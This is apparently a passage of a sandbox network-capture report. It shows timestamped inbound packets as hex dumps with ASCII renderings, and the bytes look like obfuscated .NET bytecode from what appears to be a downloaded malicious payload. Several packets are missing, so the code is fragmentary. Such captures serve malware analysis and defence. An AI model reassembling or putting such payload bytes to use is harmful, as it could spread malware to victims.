2021-12-31 18:12:58 UTC	5	IN	Data Raw: 07 17 59 40 49 00 00 00 06 16 3e 42 00 00 00 16 13 06 11 04 11 05 58 13 04 16 13 0d 38 23 00 00 00 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 0d 06 3f d5 ff ff ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 91 1f 18 62 05 11 07 18 58 91 1f 10 62 60 05 11 07 17 58 91 1e 62 60 05 11 07 91 60 13 06 11 04 16 13 04 25 28 a1 00 00 06 58 13 04 11 08 07 17 59 40 50 00 00 00 06 16 3e 49 00 00 00 11 04 11 06 61 13 0e 16 13 0f 38 2d 00 00 00 11 0f 16 3e 0c 00 00 00 11 0b 1e 62 13 0b 11 0c 1e 58 13 0c 08 11 0a 11 0f 58 11 0e 11 0b 5f 11 0c 1f 1f 5f 64 d2 9c 11 0f 17 58 13 0f 11 0f 06 3f cb ff ff ff 38 49 00 00 00 11 04 11 06 61 13 10 08 11 0a 11 10 20 ff 00 00 00 5f d2 9c 08 11 0a 17 Data Ascii: Y@I>BX8#>biXY`X?8.XXbXb`Xb``%(XY@P>Ia8->bXX__dX?8Ia _
2021-12-31 18:12:58 UTC	6	IN	Data Raw: 28 00 1f 0d 64 61 fe 0e 28 00 fe 0c 28 00 fe 0c 2b 00 58 fe 0e 28 00 fe 0c 29 00 1b 62 fe 0c 29 00 58 fe 0c 29 00 61 fe 0c 28 00 58 fe 0e 28 00 fe 0c 28 00 76 6c 6d 58 13 09 11 0e 11 07 17 59 40 53 00 00 00 11 06 16 3e 4b 00 00 00 11 09 11 0a 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e 0c 00 00 00 11 10 1e 62 13 10 11 11 1e 58 13 11 11 08 11 0f 11 14 58 11 13 11 10 5f 11 11 1f 1f 5f 64 d2 9c 11 14 17 58 13 14 11 14 11 06 3f c9 ff ff ff 38 4d 00 00 00 11 09 11 0a 61 13 15 11 08 11 0f 11 15 20 ff 00 00 00 5f d2 9c 11 08 11 0f 17 58 11 15 20 00 ff 00 00 5f 1e 64 d2 9c 11 08 11 0f 18 58 11 15 20 00 00 ff 00 5f 1f 10 64 d2 9c 11 08 11 0f 19 58 11 15 20 00 00 00 ff 5f 1f 18 64 d2 9c 11 0e 17 58 13 0e 11 0e 11 07 3f 26 fd ff ff 11 08 13 05 14 13 08 11 05 8e 69 Data Ascii: (da((+X()b)X)a(X((vlmXY@S>Ka8.>bXX__dX?8Ma _X _dX _dX _dX?&i
2021-12-31 18:12:58 UTC	8	IN	Data Raw: 02 03 04 05 0e 04 0e 05 6f 31 01 00 06 13 05 38 06 00 00 00 17 80 58 00 00 04 11 05 2a 7e 5f 00 00 04 02 03 04 05 0e 04 0e 05 6f 31 01 00 06 2a 00 00 00 0a 1b 2a 00 1b 30 02 00 12 00 00 00 00 00 00 00 17 28 2a 00 00 0a dd 06 00 00 00 26 dd 00 00 00 00 2a 00 00 01 10 00 00 00 00 00 00 0b 0b 00 06 0a 00 00 01 13 30 07 00 53 00 00 00 00 00 00 00 d0 51 00 00 01 28 23 00 00 0a 72 55 0f 00 70 18 8d 25 00 00 01 25 16 d0 14 00 00 01 28 23 00 00 0a a2 25 17 d0 25 00 00 01 28 23 00 00 0a a2 28 6d 00 00 0a 14 18 8d 0a 00 00 01 25 16 02 8c 14 00 00 01 a2 25 17 03 a2 6f 6e 00 00 0a 74 4e 00 00 01 2a 00 1b 30 08 00 9e 65 00 00 12 00 00 11 20 1f 02 00 00 fe 0e 74 00 38 00 00 00 00 fe 0c 74 00 45 a4 02 00 00 d6 1b 00 00 37 28 00 00 52 55 00 00 03 2b 00 00 3a 1a 00 00 79 Data Ascii: o18X~_o10(&0SQ(#rUp%%(#%%(#(m%%ontN0e t8tE7(RU+:y
2021-12-31 18:12:58 UTC	9	IN	Data Raw: 00 31 20 00 00 f9 48 00 00 aa 2d 00 00 ef 01 00 00 32 3d 00 00 30 27 00 00 29 59 00 00 fe 47 00 00 2c 11 00 00 08 20 00 00 97 49 00 00 73 3d 00 00 e4 4a 00 00 d3 45 00 00 79 05 00 00 f0 27 00 00 2a 4d 00 00 65 1e 00 00 27 10 00 00 54 15 00 00 93 4c 00 00 bb 17 00 00 b4 19 00 00 bb 34 00 00 56 48 00 00 7c 13 00 00 72 02 00 00 d6 50 00 00 22 3b 00 00 e8 41 00 00 86 47 00 00 b2 4a 00 00 22 2d 00 00 fe 0d 00 00 ff 3a 00 00 b5 54 00 00 51 3b 00 00 77 33 00 00 81 0f 00 00 bd 1b 00 00 01 01 00 00 16 46 00 00 08 06 00 00 9d 10 00 00 e6 48 00 00 56 4a 00 00 1c 1d 00 00 86 07 00 00 6e 1c 00 00 0a 09 00 00 e7 2b 00 00 66 53 00 00 39 01 00 00 fb 39 00 00 75 11 00 00 3a 38 00 00 0a 4f 00 00 d6 16 00 00 0e 04 00 00 a5 4f 00 00 cb 4a 00 00 78 39 00 00 55 46 00 00 1c 38 Data Ascii: 1 H-2=0')YG, Is=JEy'*Me'TL4VH\|rP";AGJ"-:TQ;w3FHVJn+fS99u:8OOJx9UF8
2021-12-31 18:12:58 UTC	11	IN	Data Raw: 83 4d 00 00 e7 55 00 00 14 54 00 00 ae 0d 00 00 f5 50 00 00 50 0a 00 00 96 2b 00 00 96 07 00 00 b8 3e 00 00 f0 4f 00 00 ca 15 00 00 3f 20 00 00 e1 12 00 00 fd 2b 00 00 bc 08 00 00 d6 52 00 00 4e 0d 00 00 dc 3c 00 00 c4 27 00 00 e3 35 00 00 2d 52 00 00 73 07 00 00 52 4f 00 00 07 57 00 00 dc 4e 00 00 92 52 00 00 42 1c 00 00 46 32 00 00 2a 42 00 00 a0 0f 00 00 e9 58 00 00 6c 3c 00 00 27 12 00 00 23 03 00 00 5f 38 00 00 25 1b 00 00 d2 3d 00 00 75 4d 00 00 93 58 00 00 53 17 00 00 c9 40 00 00 fe 0f 00 00 51 13 00 00 53 40 00 00 b4 1e 00 00 fe 52 00 00 c7 0d 00 00 57 3c 00 00 1d 43 00 00 3b 57 00 00 38 d1 1b 00 00 20 13 00 00 00 20 44 00 00 00 58 fe 0e 06 00 20 ce 01 00 00 38 4d f5 ff ff 11 03 11 60 11 30 58 11 00 11 42 5f 11 56 1f 1f 5f 64 d2 9c 20 45 00 00 00 Data Ascii: MUTPP+>O? +RN<'5-RsROWNRBF2*BXl<'#_8%=uMXS@QS@RW<C;W8 DX 8M`0XB_V_d E
2021-12-31 18:12:58 UTC	12	IN	Data Raw: ff 26 20 16 00 00 00 38 ce f0 ff ff 20 12 00 00 00 20 58 00 00 00 58 fe 0e 59 00 20 57 01 00 00 28 1f 01 00 06 39 b0 f0 ff ff 26 20 b1 00 00 00 38 a5 f0 ff ff 20 8a 00 00 00 20 2e 00 00 00 59 fe 0e 5e 00 20 9c 02 00 00 38 8c f0 ff ff fe 0c 36 00 20 05 00 00 00 fe 0c 5e 00 9c 20 ac 00 00 00 28 1e 01 00 06 39 6f f0 ff ff 26 20 1e 01 00 00 38 64 f0 ff ff 11 60 13 15 20 11 00 00 00 28 1f 01 00 06 3a 51 f0 ff ff 26 20 fe 00 00 00 38 46 f0 ff ff fe 0c 36 00 20 08 00 00 00 20 2c 00 00 00 20 1b 00 00 00 58 9c 20 01 01 00 00 28 1e 01 00 06 3a 22 f0 ff ff 26 20 19 00 00 00 38 17 f0 ff ff 11 16 28 01 01 00 06 26 20 aa 01 00 00 fe 0e 74 00 38 fd ef ff ff 38 06 41 00 00 20 30 02 00 00 38 f2 ef ff ff fe 0c 36 00 20 0e 00 00 00 fe 0c 5e 00 9c 20 0e 00 00 00 28 1f 01 00 Data Ascii: & 8 XXY W(9& 8 .Y^ 86 ^ (9o& 8d` (:Q& 8F6 , X (:"& 8(& t88A 086 ^ (
2021-12-31 18:12:58 UTC	13	IN	Data Raw: 00 28 1f 01 00 06 3a 76 eb ff ff 26 20 39 00 00 00 38 6b eb ff ff fe 0c 6d 00 20 00 00 00 00 fe 0c 06 00 9c 20 90 00 00 00 28 1f 01 00 06 39 4e eb ff ff 26 20 2f 00 00 00 38 43 eb ff ff fe 0c 6d 00 20 0a 00 00 00 fe 0c 06 00 9c 20 7e 01 00 00 28 1f 01 00 06 39 26 eb ff ff 26 20 22 00 00 00 38 1b eb ff ff fe 0c 36 00 20 0a 00 00 00 20 77 00 00 00 20 54 00 00 00 58 9c 20 08 01 00 00 38 fc ea ff ff 00 11 55 28 d7 00 00 06 28 d8 00 00 06 13 57 20 01 00 00 00 28 1e 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 5a 00 45 02 00 00 00 16 02 00 00 05 00 00 00 38 11 02 00 00 00 38 40 00 00 00 20 02 00 00 00 38 04 00 00 00 fe 0c 39 00 45 0a 00 00 00 cc 00 00 00 4c 00 00 00 b4 00 00 00 95 00 00 00 db 00 00 00 05 00 00 00 2b 00 00 00 6b 00 00 00 08 01 Data Ascii: (:v& 98km (9N& /8Cm ~(9&& "86 w TX 8U((W (:& 8ZE88@ 89EL+k
2021-12-31 18:12:58 UTC	15	IN	Data Raw: 24 e6 ff ff 26 20 f2 01 00 00 38 19 e6 ff ff fe 0c 36 00 20 0c 00 00 00 20 5d 00 00 00 20 70 00 00 00 58 9c 20 d8 01 00 00 28 1e 01 00 06 3a f5 e5 ff ff 26 20 cb 01 00 00 38 ea e5 ff ff fe 0c 36 00 20 03 00 00 00 20 e9 00 00 00 20 4d 00 00 00 59 9c 20 51 00 00 00 38 cb e5 ff ff fe 0c 36 00 20 14 00 00 00 fe 0c 5e 00 9c 20 c5 01 00 00 38 b3 e5 ff ff 11 37 11 0f 18 58 11 71 18 91 9c 20 a3 00 00 00 28 1f 01 00 06 3a 99 e5 ff ff 26 20 94 01 00 00 38 8e e5 ff ff 11 47 19 11 4f 17 91 9c 20 cd 01 00 00 38 7c e5 ff ff 38 d4 f6 ff ff 20 90 02 00 00 38 6d e5 ff ff 20 a0 00 00 00 20 26 00 00 00 59 fe 0e 5e 00 20 0c 00 00 00 28 1e 01 00 06 39 4f e5 ff ff 26 20 e8 00 00 00 38 44 e5 ff ff 11 37 11 6b 11 61 16 91 9c 20 e4 00 00 00 28 1f 01 00 06 3a 2c e5 ff ff 26 20 53 Data Ascii: $& 86 ] pX (:& 86 MY Q86 ^ 87Xq (:& 8GO 8\|8 8m &Y^ (9O& 8D7ka (:,& S
2021-12-31 18:12:58 UTC	16	IN	Data Raw: cb e0 ff ff 38 30 2a 00 00 20 39 01 00 00 38 bc e0 ff ff fe 0c 36 00 13 12 20 ab 01 00 00 28 1e 01 00 06 39 a7 e0 ff ff 26 20 91 02 00 00 38 9c e0 ff ff 11 37 11 0f 11 4d 16 91 9c 20 ad 01 00 00 38 89 e0 ff ff 11 37 11 6b 19 58 11 4d 19 91 9c 20 76 01 00 00 38 74 e0 ff ff 14 13 09 20 13 02 00 00 fe 0e 74 00 38 5f e0 ff ff 11 3e 1a 1e 12 1a 28 b0 00 00 06 26 20 6f 01 00 00 38 4d e0 ff ff 1f 28 8d 16 00 00 01 25 d0 02 01 00 04 28 1b 01 00 06 13 29 20 1b 01 00 00 38 2f e0 ff ff fe 0c 36 00 20 0a 00 00 00 fe 0c 5e 00 9c 20 93 01 00 00 38 17 e0 ff ff 7e 51 00 00 04 11 6e 11 38 6a 58 8c 11 00 00 01 11 44 8c 30 00 00 02 28 02 01 00 06 20 2a 00 00 00 28 1e 01 00 06 3a ec df ff ff 26 20 03 00 00 00 38 e1 df ff ff 20 c3 00 00 00 20 2b 00 00 00 58 fe 0e 06 00 20 7f Data Ascii: 80* 986 (9& 87M 87kXM v8t t8_>(& o8M(%() 8/6 ^ 8~Qn8jXD0( *(:& 8 +X
2021-12-31 18:12:58 UTC	17	IN	Data Raw: 39 71 db ff ff 26 20 f1 00 00 00 38 66 db ff ff 11 43 73 72 00 00 0a 28 0b 01 00 06 13 34 20 75 01 00 00 38 4e db ff ff 7e 63 00 00 04 28 ef 00 00 06 16 9a 28 f0 00 00 06 13 49 20 db 01 00 00 38 31 db ff ff 20 b5 00 00 00 20 5e 00 00 00 59 fe 0e 5e 00 20 50 00 00 00 28 1e 01 00 06 39 13 db ff ff 26 20 be 00 00 00 38 08 db ff ff fe 0c 36 00 20 11 00 00 00 fe 0c 5e 00 9c 20 04 02 00 00 38 f0 da ff ff 11 4f 3a d2 1a 00 00 20 76 00 00 00 28 1f 01 00 06 39 da da ff ff 26 20 20 00 00 00 38 cf da ff ff 20 d9 00 00 00 20 61 00 00 00 59 fe 0e 59 00 20 da 00 00 00 38 b6 da ff ff 1c 8d 16 00 00 01 13 05 20 ad 00 00 00 38 a4 da ff ff 11 05 19 1f 4a 9c 20 53 00 00 00 38 94 da ff ff fe 0c 36 00 20 0f 00 00 00 20 b9 00 00 00 20 78 00 00 00 59 9c 20 59 01 00 00 38 75 da Data Ascii: 9q& 8fCsr(4 u8N~c((I 81 ^Y^ P(9& 86 ^ 8O: v(9& 8 aYY 8 8J S86 xY Y8u
2021-12-31 18:12:58 UTC	19	IN	Data Raw: 06 3a 17 d6 ff ff 26 20 52 00 00 00 38 0c d6 ff ff fe 0c 6d 00 20 0a 00 00 00 fe 0c 59 00 9c 20 1f 00 00 00 38 f4 d5 ff ff 11 37 16 11 33 11 37 8e 69 28 cc 00 00 06 20 8c 02 00 00 38 dc d5 ff ff 11 37 11 6b 11 71 16 91 9c 20 3f 01 00 00 38 c9 d5 ff ff 16 13 73 20 2f 00 00 00 38 bc d5 ff ff fe 0c 36 00 20 0f 00 00 00 fe 0c 5e 00 9c 20 c7 01 00 00 fe 0e 74 00 38 9c d5 ff ff 7e 4f 00 00 04 28 10 01 00 06 28 19 01 00 06 28 1a 01 00 06 20 fc 01 00 00 38 82 d5 ff ff fe 0c 36 00 20 1f 00 00 00 20 dd 00 00 00 20 49 00 00 00 59 9c 20 d5 01 00 00 38 63 d5 ff ff 20 19 00 00 00 20 41 00 00 00 58 fe 0e 5e 00 20 3b 00 00 00 28 1e 01 00 06 39 45 d5 ff ff 26 20 60 00 00 00 38 3a d5 ff ff 1f 12 13 0f 20 70 00 00 00 38 2c d5 ff ff 16 13 1e 20 20 00 00 00 38 1f d5 ff ff 38 Data Ascii: :& R8m Y 8737i( 87kq ?8s /86 ^ t8~O((( 86 IY 8c AX^ ;(9E& `8: p8, 88
2021-12-31 18:12:58 UTC	20	IN	Data Raw: 16 00 00 01 e0 13 6f 20 03 00 00 00 38 2a ff ff ff dd 89 01 00 00 14 13 09 20 00 00 00 00 28 1e 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 63 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dc 20 01 00 00 00 28 1f 01 00 06 3a 51 fd ff ff 26 20 11 00 00 00 38 46 fd ff ff 11 24 7f 61 00 00 04 28 71 00 00 0a 28 fe 00 00 06 16 1a 28 f7 00 00 06 20 03 00 00 00 28 1e 01 00 06 39 1f fd ff ff 26 20 04 00 00 00 38 14 fd ff ff 11 18 a5 14 00 00 01 80 61 00 00 04 20 09 00 00 00 38 fe fc ff ff 11 24 28 f9 00 00 06 13 3f 20 00 00 00 00 28 1e 01 00 06 39 e6 fc ff ff 26 20 06 00 00 00 38 db fc ff ff 28 d4 00 00 06 1a 40 3b fd ff ff 20 0e 00 00 00 fe 0e 45 00 38 be fc ff ff 11 24 28 d4 00 00 06 8d 16 00 00 01 16 28 d4 00 00 06 28 f7 00 00 06 20 01 00 00 Data Ascii: o 8* (:& 8cE8 (:Q& 8F$a(q(( (9& 8a 8$(? (9& 8(@; E8$(((
2021-12-31 18:12:58 UTC	21	IN	Data Raw: 00 06 3a 64 cb ff ff 26 20 56 00 00 00 38 59 cb ff ff 11 72 1a 11 1a 12 1a 28 b0 00 00 06 26 20 0d 00 00 00 fe 0e 74 00 38 3a cb ff ff fe 0c 36 00 20 07 00 00 00 fe 0c 5e 00 9c 20 38 02 00 00 fe 0e 74 00 38 1e cb ff ff 1f 17 13 6b 20 66 00 00 00 fe 0e 74 00 38 0c cb ff ff fe 0c 36 00 20 00 00 00 00 20 b5 00 00 00 20 69 00 00 00 59 9c 20 cc 00 00 00 38 f1 ca ff ff fe 0c 6d 00 20 00 00 00 00 fe 0c 06 00 9c 20 67 00 00 00 38 d9 ca ff ff 11 37 11 0f 1a 58 11 4d 1a 91 9c 20 01 02 00 00 38 c4 ca ff ff fe 0c 36 00 20 17 00 00 00 fe 0c 5e 00 9c 20 38 01 00 00 38 ac ca ff ff 38 c4 d5 ff ff 20 03 01 00 00 38 9d ca ff ff fe 0c 36 00 20 07 00 00 00 20 4d 00 00 00 20 70 00 00 00 58 9c 20 c8 01 00 00 38 7e ca ff ff 11 72 1a 1e 12 1a 28 b0 00 00 06 26 20 36 01 00 00 38 Data Ascii: :d& V8Yr(& t8:6 ^ 8t8k ft86 iY 8m g87XM 86 ^ 888 86 M pX 8~r(& 68
2021-12-31 18:12:58 UTC	23	IN	Data Raw: 00 00 38 40 00 00 00 20 00 00 00 00 28 1f 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 22 00 45 06 00 00 00 66 00 00 00 1b 00 00 00 4b 00 00 00 83 00 00 00 05 00 00 00 2e 00 00 00 38 61 00 00 00 11 57 28 e4 00 00 06 3a 55 00 00 00 20 03 00 00 00 38 c8 ff ff ff 38 63 00 00 00 20 04 00 00 00 fe 0e 22 00 38 b1 ff ff ff 16 13 5f 20 00 00 00 00 28 1e 01 00 06 39 a3 ff ff ff 26 20 01 00 00 00 38 98 ff ff ff 12 49 28 6f 00 00 0a 7e 6c 00 00 04 40 a9 ff ff ff 20 05 00 00 00 38 7d ff ff ff 11 57 28 d9 00 00 06 74 52 00 00 01 28 d0 00 00 06 13 49 20 02 00 00 00 38 60 ff ff ff dd ad 00 00 00 11 57 75 56 00 00 01 13 5c 20 00 00 00 00 28 1e 01 00 06 39 0f 00 00 00 26 20 03 00 00 00 38 04 00 00 00 fe 0c 3c 00 45 04 00 00 00 35 00 00 00 56 00 00 00 16 Data Ascii: 8@ (9& 8"EfK.8aW(:U 88c "8_ (9& 8I(o~l@ 8}W(tR(I 8`WuV\ (9& 8<E5V
2021-12-31 18:12:58 UTC	24	IN	Data Raw: 60 01 00 00 38 b0 c0 ff ff fe 0c 36 00 20 00 00 00 00 fe 0c 5e 00 9c 20 c5 00 00 00 28 1f 01 00 06 3a 93 c0 ff ff 26 20 d9 00 00 00 38 88 c0 ff ff 20 90 00 00 00 20 30 00 00 00 59 fe 0e 06 00 20 f1 00 00 00 38 6f c0 ff ff 11 75 17 1f 73 9c 20 77 00 00 00 28 1f 01 00 06 3a 5a c0 ff ff 26 20 99 02 00 00 38 4f c0 ff ff 20 1d 00 00 00 20 63 00 00 00 58 fe 0e 5e 00 20 8f 02 00 00 38 36 c0 ff ff fe 0c 36 00 20 15 00 00 00 20 15 00 00 00 20 3c 00 00 00 58 9c 20 2d 02 00 00 38 17 c0 ff ff 11 4f 8e 39 3d cc ff ff 20 6d 02 00 00 38 05 c0 ff ff 20 6b 00 00 00 20 7a 00 00 00 58 fe 0e 5e 00 20 2c 01 00 00 38 ec bf ff ff fe 0c 6d 00 20 09 00 00 00 fe 0c 06 00 9c 20 00 01 00 00 38 d4 bf ff ff 11 6a 13 6a 20 7a 00 00 00 28 1e 01 00 06 3a c1 bf ff ff 26 20 33 00 00 00 38 Data Ascii: `86 ^ (:& 8 0Y 8ous w(:Z& 8O cX^ 866 <X -8O9= m8 k zX^ ,8m 8jj z(:& 38
2021-12-31 18:12:58 UTC	25	IN	Data Raw: ff ff 7e 63 00 00 04 28 f1 00 00 06 28 f2 00 00 06 3a 5b 1d 00 00 20 29 00 00 00 38 40 bb ff ff 20 1f 00 00 00 20 5c 00 00 00 58 fe 0e 5e 00 20 13 00 00 00 28 1e 01 00 06 39 22 bb ff ff 26 20 18 00 00 00 38 17 bb ff ff 11 43 73 72 00 00 0a 28 d4 00 00 06 1f 40 12 1b 28 b0 00 00 06 26 20 73 00 00 00 28 1e 01 00 06 3a f2 ba ff ff 26 20 4f 00 00 00 38 e7 ba ff ff 11 53 17 58 13 53 20 c0 01 00 00 fe 0e 74 00 38 cf ba ff ff fe 0c 6d 00 20 05 00 00 00 20 2c 00 00 00 20 4d 00 00 00 58 9c 20 03 00 00 00 28 1f 01 00 06 3a af ba ff ff 26 20 03 00 00 00 38 a4 ba ff ff 1f 0c 8d 16 00 00 01 13 75 20 4b 01 00 00 38 91 ba ff ff 28 d4 00 00 06 1a 40 20 df ff ff 20 fb 01 00 00 28 1f 01 00 06 3a 77 ba ff ff 26 20 28 02 00 00 38 6c ba ff ff fe 0c 36 00 20 09 00 00 00 20 af Data Ascii: ~c((:[ )8@ \X^ (9"& 8Csr(@(& s(:& O8SXS t8m , MX (:& 8u K8(@ (:w& (8l6
2021-12-31 18:12:58 UTC	27	IN	Data Raw: 00 00 20 76 00 00 00 58 fe 0e 59 00 20 5d 01 00 00 38 f1 b5 ff ff 16 13 40 20 2d 00 00 00 38 e4 b5 ff ff 11 1e 1e 62 13 1e 20 d5 00 00 00 38 d4 b5 ff ff 20 0a 00 00 00 20 03 00 00 00 58 fe 0e 5e 00 20 5f 01 00 00 38 bb b5 ff ff 20 c4 00 00 00 20 41 00 00 00 59 fe 0e 5e 00 20 82 02 00 00 38 a2 b5 ff ff 20 25 00 00 00 20 1f 00 00 00 59 fe 0e 5e 00 20 f6 00 00 00 38 89 b5 ff ff 20 d5 00 00 00 20 47 00 00 00 59 fe 0e 5e 00 20 30 01 00 00 38 70 b5 ff ff 11 6c 28 0b 01 00 06 13 43 20 06 02 00 00 38 5d b5 ff ff 11 37 11 0f 1c 58 11 4d 1c 91 9c 20 ca 01 00 00 28 1e 01 00 06 3a 43 b5 ff ff 26 20 f6 00 00 00 38 38 b5 ff ff 7e 0a 00 00 0a 13 69 20 8e 00 00 00 38 27 b5 ff ff 28 d3 00 00 06 20 af 00 00 00 38 18 b5 ff ff 16 13 5f 20 a4 01 00 00 28 1f 01 00 06 3a 06 b5 Data Ascii: vXY ]8@ -8b 8 X^ _8 AY^ 8 % Y^ 8 GY^ 08pl(C 8]7XM (:C& 88~i 8'( 8_ (:
2021-12-31 18:12:58 UTC	28	IN	Data Raw: 20 09 00 00 00 38 99 fe ff ff 17 80 59 00 00 04 20 04 00 00 00 fe 0e 0e 00 38 81 fe ff ff 38 be fe ff ff 20 05 00 00 00 28 1f 01 00 06 39 71 fe ff ff 26 20 02 00 00 00 38 66 fe ff ff dd a6 02 00 00 20 02 00 00 00 38 57 fe ff ff 11 57 28 d9 00 00 06 74 52 00 00 01 13 4e 20 0a 00 00 00 38 3f fe ff ff dd 7f 02 00 00 11 57 75 56 00 00 01 13 5c 20 00 00 00 00 28 1e 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 28 00 45 04 00 00 00 05 00 00 00 56 00 00 00 16 00 00 00 35 00 00 00 38 00 00 00 00 11 5c 3a 29 00 00 00 20 02 00 00 00 38 d5 ff ff ff 38 3b 00 00 00 20 03 00 00 00 28 1e 01 00 06 3a c1 ff ff ff 26 20 00 00 00 00 38 b6 ff ff ff 11 5c 28 e5 00 00 06 20 01 00 00 00 28 1f 01 00 06 3a a0 ff ff ff 26 20 01 00 00 00 38 95 ff ff ff dc 20 19 00 Data Ascii: 8Y 88 (9q& 8f 8WW(tRN 8?WuV\ (:& 8(EV58\:) 88; (:& 8\( (:& 8
2021-12-31 18:12:58 UTC	29	IN	Data Raw: ab ff ff fe 0c 36 00 20 18 00 00 00 fe 0c 5e 00 9c 20 68 00 00 00 28 1e 01 00 06 3a 35 ab ff ff 26 20 5e 00 00 00 38 2a ab ff ff 11 37 11 0f 1d 58 11 4d 1d 91 9c 20 5c 01 00 00 38 15 ab ff ff fe 0c 6d 00 20 01 00 00 00 20 3f 00 00 00 20 4c 00 00 00 58 9c 20 ff 00 00 00 fe 0e 74 00 38 ee aa ff ff 16 13 13 20 f7 01 00 00 28 1f 01 00 06 39 e0 aa ff ff 26 20 29 00 00 00 38 d5 aa ff ff fe 0c 36 00 20 0d 00 00 00 fe 0c 5e 00 9c 20 a6 00 00 00 fe 0e 74 00 38 b5 aa ff ff 20 85 00 00 00 20 15 00 00 00 59 fe 0e 5e 00 20 e6 00 00 00 38 a0 aa ff ff 20 fe 00 00 00 20 54 00 00 00 59 fe 0e 5e 00 20 33 01 00 00 38 87 aa ff ff fe 0c 6d 00 20 0b 00 00 00 fe 0c 59 00 9c 20 65 00 00 00 28 1e 01 00 06 3a 6a aa ff ff 26 20 44 00 00 00 38 5f aa ff ff 20 74 00 00 00 20 6a 00 00 Data Ascii: 6 ^ h(:5& ^8*7XM \8m ? LX t8 (9& )86 ^ t8 Y^ 8 TY^ 38m Y e(:j& D8_ t j
2021-12-31 18:12:58 UTC	31	IN	Data Raw: 01 00 00 38 f4 a5 ff ff 11 26 13 27 20 6b 01 00 00 38 e6 a5 ff ff 11 05 16 1f 67 9c 20 12 01 00 00 28 1f 01 00 06 39 d1 a5 ff ff 26 20 42 00 00 00 38 c6 a5 ff ff fe 0c 6d 00 20 06 00 00 00 fe 0c 59 00 9c 20 63 02 00 00 28 1e 01 00 06 3a a9 a5 ff ff 26 20 1d 00 00 00 38 9e a5 ff ff 11 50 28 f3 00 00 06 13 77 20 b1 00 00 00 28 1f 01 00 06 3a 86 a5 ff ff 26 20 ed 00 00 00 38 7b a5 ff ff 38 c0 ca ff ff 20 74 02 00 00 38 6c a5 ff ff fe 0c 36 00 20 1b 00 00 00 20 68 00 00 00 20 41 00 00 00 58 9c 20 5d 02 00 00 38 4d a5 ff ff 11 42 1e 62 13 42 20 8d 02 00 00 38 3d a5 ff ff 20 a4 00 00 00 20 36 00 00 00 59 fe 0e 06 00 20 12 02 00 00 28 1e 01 00 06 3a 1f a5 ff ff 26 20 e0 00 00 00 38 14 a5 ff ff 20 1d 00 00 00 20 2e 00 00 00 58 fe 0e 5e 00 20 72 02 00 00 28 1e 01 Data Ascii: 8&' k8g (9& B8m Y c(:& 8P(w (:& 8{8 t8l6 h AX ]8MBbB 8= 6Y (:& 8 .X^ r(
2021-12-31 18:12:58 UTC	32	IN	Data Raw: 00 06 3a 9c a0 ff ff 26 20 88 00 00 00 38 91 a0 ff ff 38 fd c3 ff ff 20 64 00 00 00 38 82 a0 ff ff 14 13 4d 20 4a 00 00 00 38 75 a0 ff ff 11 75 19 1f 6f 9c 20 84 02 00 00 38 65 a0 ff ff 11 75 1f 09 1f 64 9c 20 a1 00 00 00 28 1f 01 00 06 3a 4f a0 ff ff 26 20 c3 00 00 00 38 44 a0 ff ff 11 12 11 53 11 12 11 53 91 11 47 11 53 91 61 d2 9c 20 34 02 00 00 28 1e 01 00 06 3a 24 a0 ff ff 26 20 45 00 00 00 38 19 a0 ff ff 11 3d 8e 69 1e 5b 13 10 20 f7 01 00 00 28 1e 01 00 06 39 02 a0 ff ff 26 20 5e 02 00 00 38 f7 9f ff ff fe 0c 36 00 20 1a 00 00 00 fe 0c 5e 00 9c 20 8e 00 00 00 28 1f 01 00 06 3a da 9f ff ff 26 20 e0 00 00 00 38 cf 9f ff ff 20 f4 f3 f2 f1 13 08 20 b4 00 00 00 28 1f 01 00 06 3a b9 9f ff ff 26 20 59 02 00 00 38 ae 9f ff ff 28 ce 00 00 06 13 55 20 a7 01 Data Ascii: :& 88 d8M J8uuo 8eud (:O& 8DSSGSa 4(:$& E8=i[ (9& ^86 ^ (:& 8 (:& Y8(U
2021-12-31 18:12:58 UTC	33	IN	Data Raw: 65 00 5a fe 0c 35 00 59 fe 0e 65 00 20 f0 a5 7c b0 6a fe 0e 25 00 fe 0c 25 00 16 6a 40 0b 00 00 00 fe 0c 25 00 17 6a 59 fe 0e 25 00 fe 0c 35 00 fe 0c 35 00 5a 6e fe 0c 25 00 5e 6d fe 0e 35 00 20 df 12 b0 54 fe 0c 2d 00 61 fe 0e 65 00 20 3f 43 06 00 fe 0c 35 00 20 ff 0f 00 00 5f 5a fe 0c 35 00 1f 0c 64 58 fe 0e 35 00 20 82 25 07 00 fe 0c 2d 00 20 ff 0f 00 00 5f 5a fe 0c 2d 00 1f 0c 64 59 fe 0e 2d 00 20 76 c2 00 00 fe 0c 2d 00 5a fe 0c 35 00 59 fe 0e 2d 00 fe 0c 2d 00 fe 0c 2d 00 fe 0c 2d 00 59 61 fe 0e 66 00 fe 0c 3b 00 fe 0c 3b 00 1f 19 62 61 fe 0e 3b 00 fe 0c 3b 00 fe 0c 65 00 58 fe 0e 3b 00 fe 0c 3b 00 fe 0c 3b 00 1d 62 61 fe 0e 3b 00 fe 0c 3b 00 fe 0c 1d 00 58 fe 0e 3b 00 fe 0c 3b 00 fe 0c 3b 00 1f 0d 64 61 fe 0e 3b 00 fe 0c 3b 00 fe 0c 66 00 58 fe 0e Data Ascii: eZ5Ye \|j%%j@%jY%55Zn%^m5 T-ae ?C5 _Z5dX5 %- _Z-dY- v-Z5Y----Yaf;;ba;;eX;;;ba;;X;;;da;;fX
